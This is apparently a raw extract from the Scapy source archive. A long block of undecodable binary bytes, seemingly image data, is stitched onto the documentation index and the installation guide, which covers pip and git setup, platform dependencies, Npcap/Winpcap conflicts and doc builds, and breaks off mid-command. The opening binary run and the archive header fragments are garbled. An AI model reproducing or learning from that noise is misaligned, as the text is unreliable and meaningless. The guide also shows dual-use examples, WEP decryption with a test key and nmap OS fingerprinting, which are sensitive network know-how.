¬ûáŽ)s¼0—Wxi{ïCJiÿ:%~ÌSà‹!á6.ÇõýëYçññäìf¢÷ºAôƒAÔ'UuÑ*‹ØkèéÿNráCõ7€i¢Í÷üòuÒ…JüÇfµ¬Çê%ÈØ¨b~rl¸íª 9†¬ºí 7 ÈßóüœŸm5>Ì—Ç@°"ã…IÁ“Q“Pò‡qáLt›ŸÍüƒßôX_H¡~ f±ÑÄtBèKÔ6s¡f¤ ª¡}Fd³C˜{è‚oª#ö¢4rà A»ääâ]17H‚á5˜#h9ˆDƒ(–^K$¯»êY±ƒ…逨ˆÙÚcÚ­,P÷k•Î%ˆ£ØÞíðw TÚì^8¢ wOº5'e¯ù‹žÆ¦'`ãíν׽>]­ê’×”&Á:²Y‡FG_ÑõsTˆ×Üj~½ÖoÈéqqÙ_3ÚMS÷dáü_JÞÉg¯P‡¡ŽÛá&A{á³êg`iwï!f˹z¡ŸˆE¶v­Y‰Ñnñ"äÐäd˜ðªÌï»i'¤×4 Z—Ç¢Lê}».]Éç‹|›B‚ìÄÀ¯çÄxbœ Âiž$ð®ùâ ¿üéGrvü—_RZåÅVâp '2/¯^CT&íßs wNjp"æÛQÜù ”yYx`Á—¬ß §ûB]d°|YOÓ$4ÖqçšD^‘wy÷܉E÷º×çk¢™júNXlMJ·u ¿%ò'Üd¤rYqÔÖ¹=UЬk±8ÍY$˜ŒÉ{æ³3ìô º'ŸJAœúÁiGÜG9 HÉšB+GÔë´Îº0Â=)L€žQû½”ªà…0ÝÒ’òßõ bàtáœI’~GöQ‘ ‚KÒÀØý ”–:Jå%ª`Ì츚@œ O›~dLÁ•¥çÃÌ·üïME­3üìþ ”kÛs˜•(Ü寈( 9Â÷VF µ[“ „¾š¤–QLv¾™è½ný|cQÍ#hgø·J¸©íŠaè«F­¶þ˜„<ÖcS¶&Ù‘Xo©}!5™U•õJøÚ^Ô4i5®KFwü½«ëmc×8Mƒ˜½H`ýà5àøÿÿÈ»ú¢†”Öɹ÷%¹Ò6›ÄkÇÕh†Ãá[0ÁN}ÉŽ\d¶f{ §‘ŒFùq¯A´i¤ù$͵ÍÞø:lÖ6,·ÆvÕÊ€Öe«ùñ%ôê)Ê¥EÑ̹® L÷{=àÍAI?å¢íëGM¡ÐëQ8£SI…ÿ¾©¦Gÿ#e–BгF:ÔÛF˜÷ÔJY¼”#“¥ü7ªí¯èüõWJõsÚ%ÖxâºÖ÷÷—ë¡M·xÒ_¦;w®¹¾?ˆâÿ^Ó™y¢/:¥³Ñ8^äý|9é¬IQõûä~Fòö† {Fß\YíD«g4ëžH8ÿÌ0€ët+„G Þr(xšg"†!æYÒ’B‘RiÖ—@ß±¾Õbv!¶°Ñ×?ÿF>}Ó1d×ÇY\Æ[Ð Ø %T!¯–òiKh(؃(Êú ™("."&å0Š ‚ãSP/Q% YRHP§J`½»  ÍRŒ^_´Œé¹åaæ§7ÁSßq+O´£Ú>Þ_,ˆBQÔàéd¢sMý -.#&Õú æõe0e,èkiUI†È···Q:Gš;AÐm[?$ÌÔ›´ß ÚinPCE\Œ-NpÀgrÏ^§ˆa·Tn½Ä9—«8üd/›ŒOï˯A,áµyyÏ|ýÐfÕkC¶†£!ÓЇÊ(¡u'§f§±ÌÈ ÍEO+}ÅeC}a³û~Uµ´b›å‘˜’ÀžÖŒV%¨µ&[QÕã¡+ÌÍŸõŸj—‡‘ 帢'Ç4ñ,€ÚG™J¢écR%’Í—¾ÐZ¹&k‚èQ#þÄÎ9}||ì°ó7‡)¼æ^œËµ¬ÖôygºÖÐ@îË·„ [>´« ”ÄÀã¨Ϧ sJ.@ìšÊ­÷Í ¦GP¯í.ZLöZ¸h‡ …ø¿þÆ¡ûã¼ò0¾óîè&MÌF~¾8 ¥­~!¸ýðE‘-«ì1¹‚u¶®8Êê3i–Ùúg?XV]*•¥ê[TÔ€æ{9”-²òØ ]ØnXk ã¼I™^öûX²Õ7Nét^•/­šÔ[B TvùùUø^R6ïéKÈ&–]3TveãÌa»îF}MÏsƒ Ï4c%eWŒ¤Î܃(”ÁÑç÷:fV!ïêÍM3$j¯æ¢.&ä=Ë¥ÎeœI2 nóÔØoLþòÇ©È)1§HÒ4ò?ñµñ¾öÕFºø=ݹsÍõmAôÆ£ÿÎ¿ËøåГØÓíÖó²ækK¼mgR&ô­B‹`JíÈ_nf²¤f«µ}Ñëw¶«Á¤Ž÷äÐö@àf'µù»G%E¼_Ξpó>ðÄ&¹sÿ.¯;¹¼ÆPÁ×÷_éyý•Úb~—·„ ÊíÛ}[å+ ¯Þ‡Â'‚dÖ4ÛÍÚ´6Øg=Ô‘}(ð1t™˜ç_†,úP–=µ•ÒjŸµ…¥ÈÉR’œjË&ÜR†Ä;¶­%(ÅB—¯#yrZ[&4Èÿþ¸¥±×D§ÛÛUÒ>’ªŸe‡Xô ¢9Cv*Ê^†QïÁ¢±äÜ̞ͩáÚFp v›U…í*Gæ^â˜ëÓu4žçê¡u7³Ñ¿9S"CäÇ?édâ@ô#‡öƒ‡i«YÇ™x U–ƈ9Ö+~Ãö~®Ú%ßKb™âBÉ…›(Äâ¡¡\¨¦ÓÎã¬Ý~.x©‡HÂ~$VÝBL,_ARøÁ µ`*¬Œ×û$7¦¥¢45TŽ´1šZ3lÍGÒÛI/=þAö8–s÷Óø³XÙ[ör/®Î‰[Þe› :×\ßD—’³”·#aé×å”3….÷%îѹz»/"(œ¾[*Ƨ«°Éˆ@¨%¥)w šm7 ¹¦§?Ø APvLÍ)÷CÓ˜*Hè°@jo_n§kuó.1hèÜîo‰o‰W\«c PsEÖi ~lÌMãFÅJäȆֲ1“6¼õš.™„³;“Œ”N2 š8î¥N?œv_0úrÄb]‰BHº¯—˜ó‹HØV[}¶R¡·ðÀj¼˜ ,I'ûQÒ£—ØÜú™×$äJÊͯˆ¬GÜgÀ\)]ºËѹ&ˆ~ce6áåP`"tY!Ï„NÛšFmÞÑG´Û<Ôžú¹ LU?®[¦ÅYqîÊfšôöPþ´Ì—<qúñ*ö®‘~†'âÝÀÛ2„ÖÇþ4aw½ÜZgCmöœ†\³VAÇYNÛ¥ÒÖxª"ëFæ`KÂÜŽ%Ÿ•f«icõjƒ‰yF nʳñG·ŽÌ¾ûÓYd¹+Šy%ic(A,•Ñz½!ô3jôz©€$…šµËþ[×c™W´â¯Pù#­•v"¬ÿAv=o'¿ŸnŸUÜ'ˆÎ5Aô{ƒè¡óTÏï‰b]îÛºlW=8Ëý‚Q·—ÛíþX@–Óh Fxˆ¡j ¦˜”“^Ž6×Îz9ž%mÍ¿ÝZ££HÜs!NQîÕ\ÿá~Ô¸6M7m§swo2ÿ4§Çç ñ5í߯„_ ûá&âBí²ü3™ÆØê4UK:lÄõrTaœ¬f€àr|þþïWðçaŸg+S53›ÙÔÕ5¬”@…Ö}õzâ¶4#p%¿íë•G7¡>>k)Щé“Z;óy‚è\Dˆº«Y÷ ‡Û®2ÍÁ9F˜ÅÑb ŠUF´F&V`KòZ=Ë·05l„+ð~–¯¸4> Qi@´Ãñå~;ÝÅ"báUÝÚ.—ûÚ“Ñu?^œPÓÌߥ”Xͺ^ÒJ³kv.­_ÆCЬ™¾-™Ü8J!CÌ ±·äXPhpX)Ž0%£šjàô†ìãQ®¦¶kÈ1æ×ãáev6ÀØèÓð´`»=%PwÐêÞ(@¡Õfç¶Dùm#álꤵK–Úe×ô{]—Ë)ε3„0™è\sýÿ€h8ܯ–m;¯O½‹[tè\º÷œâ–7®@¸ek$U©¬§¡>P ™¨×«©Ô>M·Óê„ÿ›J½ˆàq@ÛcÛü².;ÛÜÑr5{\™ä}_­)(eßÞ?¥Z;½mÆñÔú] ®rGlÀ«ËÆåjÑ uÚú ÓãŸ>† ²Ítê²DŒâi(®˜ÉdÖ÷*£÷òÜ+:¥E-º8𬨴D ¤”a§&G› ‹PÉ5'1WOâLztG   qŠ(ßí«§?¼vÿ'ˆÎ5Aôg€hàÿiå]}ÙÑhÕ¾=¿c÷ ²Ý݉žM =§èããú¾1ßÊT4!ú€ŠÊMFÛjÕÞ¶.[Ø©¤a­·S¬à¶œ·û½´Î>Ö'OغŸJJe¬êæ¡D4tå3-Ÿá7¨)ï ð”æC m4…kZÓá…ŒG¬\ ¹{"¨w"%馭 Rãñöò¯­´/ºUð"j Ó…š#7Œƒ|}EŸ}sÒLG$Þÿ”Ÿ*=´åBüþ?¾÷çªÀ®Æïnœ :×Ñï ’spa¶IDAT¢¶G$𧚢jnKƒ”’?“zó0³ý¸®]Õ¤O”4ÿ&Dçš úÍ™hø„†‘„ì,‚FBžÀlì/CE­{¢Íõ€Çµ Ÿi­¤èÅ,{ œØþ”„Úm¹!Ý–S€SçKTr% 0åëÞÝ“õÜ´"¦?v3ÍJœ`…Øôi$Ž—d¦UŸß,ÊÒ·ÜŽœ‘–a¨•³ãˆ°IidžK`]ˆ~¶ âáÃ}C…çïW¸‹(P_áz”}‚ïôhjœ Å<ªï⇄¥]CÏѨ¤¥hlCm½‰Êž·g»7„E¿ö-êþ‡%”ñáu‚è\D¿¿œúh¼-txšQ&Îê’Œ9׌ŸaøäƒÁFß%=UMÎlÃ䊜✕b6N¿÷ÃUUÆÕU'_.1Ow}&Á¥ÑieŒŒx|=å|ĸ²S@Ÿd†c…0{$©½/Õ74œÛEÍ,Ý(iƒl‡›§-52qpÜpÆê¹öw߸QÔþ‚Z[}ÅÔz3óß r¥¨wóKÆ*Òõ`¥—ž2ò&bå@’ÑÊÉ…c™w©"›D·ûévþRõ¤¾Æ&ˆÎ5AôƒèAÆú—ê£ë=þ¶A‡Æá®¬¬¢™N¤Gzc¯ß÷¤›ÃLJm!¡€4‰´®'#g¨mvµø[$ØÌM›LÛxë£è¸+oªÖ^rkP?Sí¥(^CE7˜ÎNc9v‘-à Eý5˳˜,!…9pûz⇿¬žà¨§J‰Íçý{Ðüô­Åh†vb:Îaµ¦´åöÂCDçAì­Úw)@u…ÕîZ¨Ï×µ]öÅٞĜ®&k®ŸÃDÃ0Ó˜‚ÁËík鯸5‹9ïËѶ! E>³ü´î¥.«\¼»·ÖYKƒ ûϤÄtÄHSyó°ìÚU*çGÆÖÔó·Ô§¢°þ‡½«ëMdÙ}¬nx@²ö!Y)Êÿÿ‘73ýår{Âî9—HUÉf a€aªm—Ë×\?n¨°~KÁje¿Ç;f^™¼ÇÆyÅ '÷Ð1ì= ºS-ß–i¹7Oñ‘:†uÁ6fiñ¦ù ÅI6yàô;j/-B)[ÜU£Ð.Ƴbå^ÓÎ3³Ä¹éwF5£O1q<þ:/SºÝ®Õµèý­V݃LýšôaM” ~ŒÙB^?ÐùØ÷®©n°¥%H†¡(¶;fT1võ½¯WÀFÐcÝ„øJ N±&týd&ôR:"×¼ïN½³¥æ±»á~bUói¬™_Js8e§8vv¿ÆÄÉOHsNS£Î<ËReQ{£/àßœZ  ÷qk1q¤‰zËZz-³Ü©kø`x‹v£ÚQ5â™N“Ñž¢¬>Š3+Cýܲ¿µHM¥9‡ã·³…jwè{_l=„ŽEñ“Õ¹A§Z>Q>8Ÿ‚~ŸÆžE‹KßB Ðåí´y®el]iV3i&ÓTͺ£öªí:• §_Á€ðž¿œz¯oÿìšÜzô½˜¹Æ“uª ú!êQs¤ NG§Ž˜PKAçºÌ¬Îؼ£¾*Y0ªtkûg.…"¡W 2.Vúë> QwgÕ²~ÙêkWߪ˜XÓþÖdcK®kI´g#Fg§uç7ò«¿¤i˜)kòÕ1Í1µ,`5c_GÉåó­I¾÷ñµG:>’(AýêÜ| -WNWÝÏ÷ËU,Ïå¹¥z¢ÙÀˆkún*#•RKºœÂø±õ0•a@¯Y>#jÕ{žsËL²Ï^é,t¨Êô ä™Pö³­¡iO]3äa_‡%aˆ?[b'–ò éÖ2eÉíâK…åÎ jTŦΥ&jÎ`yåÞ‹þ6›ú¤„βî¨Y¤¨ißÑ`r«ã¯1¾3!c…še-׸ÏÌpÀÒ: ms=.ekkõO=ô^ ‰$Ñ—%Ñ÷šKº|ÖêÌ¥:ºþÚê5—³jáÄG{Žoï`µcç‘èY©uX´ëo?ólÔ‡©‚Œz‘uÏKJMŠÌyÞF€Yô±:.>ó‹Ötß`£\ü Í^ÓÍ`2T\&–)ùÔß·¸Ò¯™ò6«‰«öÙ.gPÓuPŠ\¢rœß¡ÛdÌÆ.&ì+ø h–š¦‚0«!¯ÉvÛhªÅ{Ñϵšë·ª9Ó^M+Õ0p*Ù­vìQ ÇèlÑÅÓ¾ðɉ­0ZÀDë£j¸ß6{޽ª~½ŒdãG[Úô° F:ÉçÐñlýYýØçõåÕ.ßQŘrYÍÒÁê5C¥\Ž“Á}DzØããÛ3­V¨Ø:²Õ «Ú|j ÕŽŒo¡ãsn&Ò¯H*^ N„ ‡jüÉ1©ÞpȾ%FYjÞv˜íZf¹\¯»}uÕY[ܽßV÷ìúþA%H¢¯J¢µu­žWÚ§ö6Å„&μ.桾í.xÃöÍxÇnÆv8ûaÍc®Ö”A}ÉÍà*kƒŸw %PÉöìUO‹}sàÌŠ¼4{yz„ç|iuá½Á…'#­ƒ±×6LõóWÐDad‚ç×6Ô4¡šÆ‘\Ș‚ƒ¦Ú+W¿‹ÙAS̽Dz&ï.8’Õ ² p÷µD†°cDîâs7e†ÅÙ A¼™m¿¿J$0Ø?jÊ¥sb,ç‰Äk«s}Í÷s¶TÙýå¯u±¬MH³]ý‡^50®»íɧ_cΰ§EÛ€Îuñ}E{»ì5§‡M'^èaê‹>ÎSŒ\×S\9 ZÁlb0{^Òy‡dº» 5K¡¯ÿ’¢SE5BY1Ogä|ÐÌŠÍ¡¶Ø²d×XÈ¡Ñ-Ƙ¦Ïæè*UVǵ!Tã{8#¡Åà*à\ ¼ŠÖª¬FSØZ«Œ,þºQô —Ü ŒÂx[<ÿâDïçÕ±&JD_ÝlÁ Õjܤ^µæœt'Bmu»0Â6Hô–;/SMÃÂGçèPS¶Ü×ß×mÔb-I–C£”Ù 6¡iúN©øìBCp.£ôq×pGTÆ!håÏþÓ°(î±ëm°O ÔìÝ/À/ÞKaÝ„³€¦Äº]èjHd‹^¸fV-ƒË€¸½})¡7/jŒteFÎø í·®f]¹Í# ¼‡#m±×Ù%ȶäY"fø1%H¢/K¢æsÞˆ@jW¦´Y[Urs»ÙäØœÞÆ•9cjª–x¬lž -À5­ïÜØ<‚~¦7Š/¥ :ÈÖ³° … ·zÏñÚAs޹ƒ»BOy>@ÊÎ$!Lt•}ÚcHÔÆ?Ë0jRÛ‡Îæ2ë´Ó+‡™['[:ˆè4Jèâu¬kZV]ëJ5‘‡¯f­1/Ê,Kñ?Ž|tï“ï*nÕpÁÁ£«tÈ.¢0ý&¦#r_CÕÝ`$JD_—DïTð–ËÄ:f™‚Ý€bÓz_¿‹‘ß(vUÎJ¡`¿gw…]öæt+9ð`Oã+¯FoÜžV.3*ʼι^CǼ˜=P],o—¥§m³‘HÉìÒ1±OƲp5xµÓKÎóâŠ6 P'=T(cE1ì2«Ž6Õsj·n—ó(±¿‰cOY xÜÒRàÕuC†â fkWç]0g–SFx²Iìç\ü{zTÌ`ÜZúØ6¶¸ÄKG¢÷–ƃFR2J­ç„¼T_t Kï1M±Íå¶Ó‰ô`¸wGûœjr~ŸŸÍœNh‘‘b[K_º†%w84Ý%Øçà6fxeš"Z÷v§2êCåFµÚöËc2¥u[vÊ+8É ¸IyóºÁyÕ4HšsU- Ôg’åH5;†‡ôsšÁ¬ÀÓjF´ Î7[n-©?ð.©]£I*húèx•$JDF$šwzd×B—ÊJ}?›•,3Ú†Ñ0Wjt:†)“‰H’çñ ñ¬ÖY¾û¼þu¤Ç¦öâì fÙhãµùc™Ó©U¦/Ò6¥Mý«­n¦Øº;¹9tvúgãKŸ®§Ü BâŠ;¢rô—ži÷W¡Eûý+·"†(t¸L­Q&äKë'TšOƒÒHu€5Q‚$úsÒ¹i åòzñ¯ÆYijCžÌ’/9&–ºGNOëNm÷ÂŒòÀóK¾é˜×/ÒÝ¢8ú™Œ§â&vÊŒí&k¬=¦ØÜÓÈÃõ׺KeÌ̆ i•µÚhv¡9õ1¬L'ÉFËc¿¤§Ä‘Æ-ÉRFª&·ë‡ ÚL.½£QNæ¸lrF¶ŒD ’èÏ«‰>m¥;¡PŠYéüNpŸEÆ££;ÆfaQ0{ŸJf|šžûÂkÒ\…øû&xR²Ùå¹')ÚS]×[¶ Í%»¹»V€lt/»æNIb"Nk€m9)¬¦Ü» ¢ ”yƒdIŽK~Vól5z©þwÎÝ"Ri»j›5sÙâ "V…™óÔ(¼§$Q‚$ú³H´¸ÈÂ…ë>=yšHÁŸ¯Ý#èÙ·8ÿ¬í£É¦äuÊÉ”’>[мZ,åÁ|k2Ñt£öZÞMXü¦ éÙ„±ü^’5õ-ßg µBˆøÔ³‰.ÊÝ'üý£@ ä*¡ûÂz’(A}i•%4ø;gšÿ ¾kÉd‘޳N|T‰Ly¦î†¢) Í™yNæ1²‰2[œÙмã[žéõgÃÌTŠNh?Ä_¾Òï0 ŽæŸ¹¶Õg{ðÚ®*í†Òïa·Ypv“yÖ{óؾ{ÉîÑÿòòâú¯Vüj²&JD_<•qÂ;?‹È¿vš‘oþþè9ï!º°ªãäӲɖ©°ºœiJ@&º„mØM¥èÖœòA-ÙÑîÒ£ËèfDz’æ'Þ*9x$C<)FÙõJ(SvžDmjÉ ‚®!¾¬òããÝtG´|ó Bî¿{¸ÉÊ‹'¯¡ÀŸ˜?Dßoe$JD_•D?¯—¯¯ûßû¿ë¸x¹^ííV¼ëÎoý6.å.Ñà©\þ“=}bƒ—ðbøÐã½»Œ÷ío=£ ^{1d1þÂÛð‚¹yýŽ7bÃåãæÃÍÇýåzô‘8¸ ÷™YŸÅúpþû$JD_Êw† ~n$Q‚$ú’,z%âåñÿâP’(A%‚ ‰$Q‚ ’(A%‚ ‰I” ’(I” ‰AD ’(AI” ‰AD ‚$JI” H¢ADI¢I” ‚$JD ‚ H¢I” ‚$J$Q‚ H¢A%‚$J%H¢A$Q‚$JA%H¢A$Q‚ ‰A%’(AI” ‰AD ’(AI” H¢AD ‚$JI”$JD ‚ H¢I” ‚$ú¿ví‡a èµxðV‰‰û²m¶ŽE!Š£÷Äà " ¢ ¢€ˆ‚ˆ"*¢ˆ(€ˆ"¢"Šˆˆ(ˆ( ¢ ¢"Šˆˆ(" ¢ˆ(€ˆ‚ˆ"*¢ˆ(€ˆ"¢"Šˆˆ(ˆ( ¢ ¢€ˆŠ(" ¢ˆ(€ˆ"¢" " ˆ(ˆ(€ˆ"¢"Šˆˆ(" ¢ ¢€ˆŠ(" ¢ˆ(€ˆ"¢" " ˆ(ˆ( ¢"Šˆˆ(" ¢ˆ(€ˆ‚ˆ" " ¢ˆ(€ˆ"¢"Šˆˆ(ˆ( ¢"Šˆˆ(" ¢ˆ(€ˆ‚ˆ" " ˆ¨ˆ"¢"Šˆˆ(" ¢ ¢€ˆ‚ˆ"*¢ˆ(€ˆ"¢Œh‡•Æ" Ü6¢™p¼m×»ˆ·(¬g;" " ˆ(ˆ(€ˆ"¢"Šˆˆ(ˆ( ¢ ¢€ˆ‚ˆˆ(" ¢ˆ(€ˆ‚ˆ" " ¢ˆ(€ˆ"¢"Šˆˆ(ˆ( ¢ ¢"Šˆˆ(" ¢ðc(FDQ¥~DÓŽDDQQEDDQQ@DADQD`¥h"ŠˆÌxôQDÀ88M‹-ÜDQ€ Ÿ‚zEDf`_ license. .. toctree:: :maxdepth: 2 :caption: General documentation introduction installation usage advanced_usage routing .. toctree:: :maxdepth: 2 :caption: Extend scapy extending build_dissect functions .. toctree:: :maxdepth: 2 :caption: Layer-specific documentation :glob: layers/index.rst .. toctree:: :maxdepth: 2 :caption: About troubleshooting development backmatter .. only:: html .. toctree:: :maxdepth: 4 :caption: API Reference api/scapy.rst scapy-2.4.4/doc/scapy/installation.rst000066400000000000000000000354071372370053500177750ustar00rootroot00000000000000.. highlight:: sh ************************* Download and Installation ************************* Overview ======== 0. Install `Python 2.7.X or 3.4+ `_. 1. `Download and install Scapy. <#installing-scapy-v2-x>`_ 2. `Follow the platform-specific instructions (dependencies) <#platform-specific-instructions>`_. 3. (Optional): `Install additional software for special features <#optional-software-for-special-features>`_. 4. Run Scapy with root privileges. Each of these steps can be done in a different way depending on your platform and on the version of Scapy you want to use. Follow the platform-specific instructions for more detail. Scapy versions ============== .. image:: graphics/scapy_version_timeline.jpg .. note:: In Scapy v2 use ``from scapy.all import *`` instead of ``from scapy import *``. Installing Scapy v2.x ===================== The following steps describe how to install (or update) Scapy itself. Dependent on your platform, some additional libraries might have to be installed to make it actually work. So please also have a look at the platform specific chapters on how to install those requirements. .. note:: The following steps apply to Unix-like operating systems (Linux, BSD, Mac OS X). For Windows, see the `special chapter <#windows>`_ below. Make sure you have Python installed before you go on. Latest release -------------- .. note:: To get the latest versions, with bugfixes and new features, but maybe not as stable, see the `development version <#current-development-version>`_. Use pip:: $ pip install --pre scapy[basic] In fact, since 2.4.3, Scapy comes in 3 bundles: +----------+------------------------------------------+---------------------------------------+ | Bundle | Contains | Pip command | +==========+==========================================+=======================================+ | Default | Only Scapy | ``pip install scapy`` | +----------+------------------------------------------+---------------------------------------+ | Basic | Scapy & IPython. **Highly recommended** | ``pip install --pre scapy[basic]`` | +----------+------------------------------------------+---------------------------------------+ | Complete | Scapy & all its main dependencies | ``pip install --pre scapy[complete]`` | +----------+------------------------------------------+---------------------------------------+ Current development version ---------------------------- .. index:: single: Git, repository If you always want the latest version with all new features and bugfixes, use Scapy's Git repository: 1. `Install the Git version control system `_. 2. Check out a clone of Scapy's repository:: $ git clone https://github.com/secdev/scapy.git .. note:: You can also download Scapy's `latest version `_ in a zip file:: $ wget --trust-server-names https://github.com/secdev/scapy/archive/master.zip # or wget -O master.zip https://github.com/secdev/scapy/archive/master.zip $ unzip master.zip $ cd master 3. Install Scapy in the standard `distutils `_ way:: $ cd scapy $ sudo python setup.py install If you used Git, you can always update to the latest version afterwards:: $ git pull $ sudo python setup.py install .. note:: You can run scapy without installing it using the ``run_scapy`` (unix) or ``run_scapy.bat`` (Windows) script or running it directly from the executable zip file (see the previous section). Optional Dependencies ===================== For some special features, Scapy will need some dependencies to be installed. Most of those software are installable via ``pip``. Here are the topics involved and some examples that you can use to try if your installation was successful. .. index:: single: plot() * Plotting. ``plot()`` needs `Matplotlib `_. Matplotlib is installable via ``pip install matplotlib`` .. code-block:: python >>> p=sniff(count=50) >>> p.plot(lambda x:len(x)) * 2D graphics. ``psdump()`` and ``pdfdump()`` need `PyX `_ which in turn needs a LaTeX distribution: `texlive (Unix) `_ or `MikTex (Windows) `_. Note: PyX requires version <=0.12.1 on Python 2.7. This means that on Python 2.7, it needs to be installed via ``pip install pyx==0.12.1``. Otherwise ``pip install pyx`` .. code-block:: python >>> p=IP()/ICMP() >>> p.pdfdump("test.pdf") * Graphs. ``conversations()`` needs `Graphviz `_ and `ImageMagick `_. .. code-block:: python >>> p=readpcap("myfile.pcap") >>> p.conversations(type="jpg", target="> test.jpg") .. note:: ``Graphviz`` and ``ImageMagick`` need to be installed separately, using your platform-specific package manager. * 3D graphics. ``trace3D()`` needs `VPython-Jupyter `_. VPython-Jupyter is installable via ``pip install vpython`` .. code-block:: python >>> a,u=traceroute(["www.python.org", "google.com","slashdot.org"]) >>> a.trace3D() .. index:: single: WEP, unwep() * WEP decryption. ``unwep()`` needs `cryptography `_. Example using a `Weplap test file `_: Cryptography is installable via ``pip install cryptography`` .. code-block:: python >>> enc=rdpcap("weplab-64bit-AA-managed.pcap") >>> enc.show() >>> enc[0] >>> conf.wepkey="AA\x00\x00\x00" >>> dec=Dot11PacketList(enc).toEthernet() >>> dec.show() >>> dec[0] * PKI operations and TLS decryption. `cryptography `_ is also needed. * Fingerprinting. ``nmap_fp()`` needs `Nmap `_. You need an `old version `_ (before v4.23) that still supports first generation fingerprinting. .. code-block:: python >>> load_module("nmap") >>> nmap_fp("192.168.0.1") Begin emission: Finished to send 8 packets. Received 19 packets, got 4 answers, remaining 4 packets (0.88749999999999996, ['Draytek Vigor 2000 ISDN router']) * VOIP. ``voip_play()`` needs `SoX `_. Platform-specific instructions ============================== As a general rule, you can toggle the **libpcap** integration `on` or `off` at any time, using:: from scapy.config import conf conf.use_pcap = True Linux native ------------ Scapy can run natively on Linux, without libpcap. * Install `Python 2.7 or 3.4+ `_. * Install `tcpdump `_ and make sure it is in the $PATH. (It's only used to compile BPF filters (``-ddd option``)) * Make sure your kernel has Packet sockets selected (``CONFIG_PACKET``) * If your kernel is < 2.6, make sure that Socket filtering is selected ``CONFIG_FILTER``) Debian/Ubuntu/Fedora -------------------- Make sure tcpdump is installed: - Debian/Ubuntu: .. code-block:: text $ sudo apt-get install tcpdump - Fedora: .. code-block:: text $ yum install tcpdump Then install Scapy via ``pip`` or ``apt`` (bundled under ``python-scapy``) All dependencies may be installed either via the platform-specific installer, or via PyPI. See `Optional Dependencies <#optional-dependencies>`_ for more information. Mac OS X -------- On Mac OS X, Scapy **DOES work natively** since the recent versions. However, you may want to make Scapy use libpcap. You can choose to install it using either Homebrew or MacPorts. They both work fine, yet Homebrew is used to run unit tests with `Travis CI `_. .. note:: Libpcap might already be installed on your platform (for instance, if you have tcpdump). This is the case of `OSX `_ Install using Homebrew ^^^^^^^^^^^^^^^^^^^^^^ 1. Update Homebrew:: $ brew update 2. Install libpcap:: $ brew install libpcap Enable it In Scapy:: conf.use_pcap = True Install using MacPorts ^^^^^^^^^^^^^^^^^^^^^^ 1. Update MacPorts:: $ sudo port -d selfupdate 2. Install libpcap:: $ sudo port install libpcap Enable it In Scapy:: conf.use_pcap = True OpenBSD ------- In a similar manner, to install Scapy on OpenBSD 5.9+, you **may** want to install libpcap, if you do not want to use the native extension: .. code-block:: text $ doas pkg_add libpcap tcpdump Then install Scapy via ``pip`` or ``pkg_add`` (bundled under ``python-scapy``) All dependencies may be installed either via the platform-specific installer, or via PyPI. See `Optional Dependencies <#optional-dependencies>`_ for more information. SunOS / Solaris --------------- Solaris / SunOS requires ``libpcap`` (installed by default) to work. .. note:: In fact, Solaris doesn't support `AF_PACKET`, which Scapy uses on Linux, but rather uses its own system `DLPI`. See `this page `_. We prefer using the very universal `libpcap` that spending time implementing support for `DLPI`. .. _windows_installation: Windows ------- .. sectionauthor:: Dirk Loss Scapy is primarily being developed for Unix-like systems and works best on those platforms. But the latest version of Scapy supports Windows out-of-the-box. So you can use nearly all of Scapy's features on your Windows machine as well. .. image:: graphics/scapy-win-screenshot1.png :scale: 80 :align: center You need the following software in order to install Scapy on Windows: * `Python `_: `Python 2.7.X or 3.4+ `_. After installation, add the Python installation directory and its \Scripts subdirectory to your PATH. Depending on your Python version, the defaults would be ``C:\Python27`` and ``C:\Python27\Scripts`` respectively. * `Npcap `_: `the latest version `_. Default values are recommended. Scapy will also work with Winpcap. * `Scapy `_: `latest development version `_ from the `Git repository `_. Unzip the archive, open a command prompt in that directory and run ``python setup.py install``. Just download the files and run the setup program. Choosing the default installation options should be safe. (In the case of ``Npcap``, Scapy **will work** with ``802.11`` option enabled. You might want to make sure that this is ticked when installing). After all packages are installed, open a command prompt (cmd.exe) and run Scapy by typing ``scapy``. If you have set the PATH correctly, this will find a little batch file in your ``C:\Python27\Scripts`` directory and instruct the Python interpreter to load Scapy. If really nothing seems to work, consider skipping the Windows version and using Scapy from a Linux Live CD -- either in a virtual machine on your Windows host or by booting from CDROM: An older version of Scapy is already included in grml and BackTrack for example. While using the Live CD you can easily upgrade to the latest Scapy version by using the `above installation methods <#installing-scapy-v2-x>`_. Screenshot ^^^^^^^^^^ .. image:: graphics/scapy-win-screenshot2.png :scale: 80 :align: center Known bugs ^^^^^^^^^^ You may bump into the following bugs, which are platform-specific, if Scapy didn't manage work around them automatically: * You may not be able to capture WLAN traffic on Windows. Reasons are explained on the `Wireshark wiki `_ and in the `WinPcap FAQ `_. Try switching off promiscuous mode with ``conf.sniff_promisc=False``. * Packets sometimes cannot be sent to localhost (or local IP addresses on your own host). Winpcap/Npcap conflicts ^^^^^^^^^^^^^^^^^^^^^^^ As ``Winpcap`` is becoming old, it's recommended to use ``Npcap`` instead. ``Npcap`` is part of the ``Nmap`` project. .. note:: This does NOT apply for Windows XP, which isn't supported by ``Npcap``. 1. If you get the message ``'Winpcap is installed over Npcap.'`` it means that you have installed both Winpcap and Npcap versions, which isn't recommended. You may first **uninstall winpcap from your Program Files**, then you will need to remove:: C:/Windows/System32/wpcap.dll C:/Windows/System32/Packet.dll And if you are on an x64 machine:: C:/Windows/SysWOW64/wpcap.dll C:/Windows/SysWOW64/Packet.dll To use ``Npcap`` instead, as those files are not removed by the ``Winpcap`` un-installer. 2. If you get the message ``'The installed Windump version does not work with Npcap'`` it surely means that you have installed an old version of ``Windump``, made for ``Winpcap``. Download the correct one on https://github.com/hsluoyz/WinDump/releases In some cases, it could also mean that you had installed ``Npcap`` and ``Winpcap``, and that ``Windump`` is using ``Winpcap``. Fully delete ``Winpcap`` using the above method to solve the problem. Build the documentation offline =============================== The Scapy project's documentation is written using reStructuredText (files \*.rst) and can be built using the `Sphinx `_ python library. The official online version is available on `readthedocs `_. HTML version ------------ The instructions to build the HTML version are: :: (activate a virtualenv) pip install sphinx cd doc/scapy make html You can now open the resulting HTML file ``_build/html/index.html`` in your favorite web browser. To use the ReadTheDocs' template, you will have to install the corresponding theme with: :: pip install sphinx_rtd_theme UML diagram ----------- Using ``pyreverse`` you can build a UML representation of the Scapy source code's object hierarchy. Here is an example of how to build the inheritance graph for the Fields objects : :: (activate a virtualenv) pip install pylint cd scapy/ pyreverse -o png -p fields scapy/fields.py This will generate a ``classes_fields.png`` picture containing the inheritance hierarchy. Note that you can provide as many modules or packages as you want, but the result will quickly get unreadable. To see the dependencies between the DHCP layer and the ansmachine module, you can run: :: pyreverse -o png -p 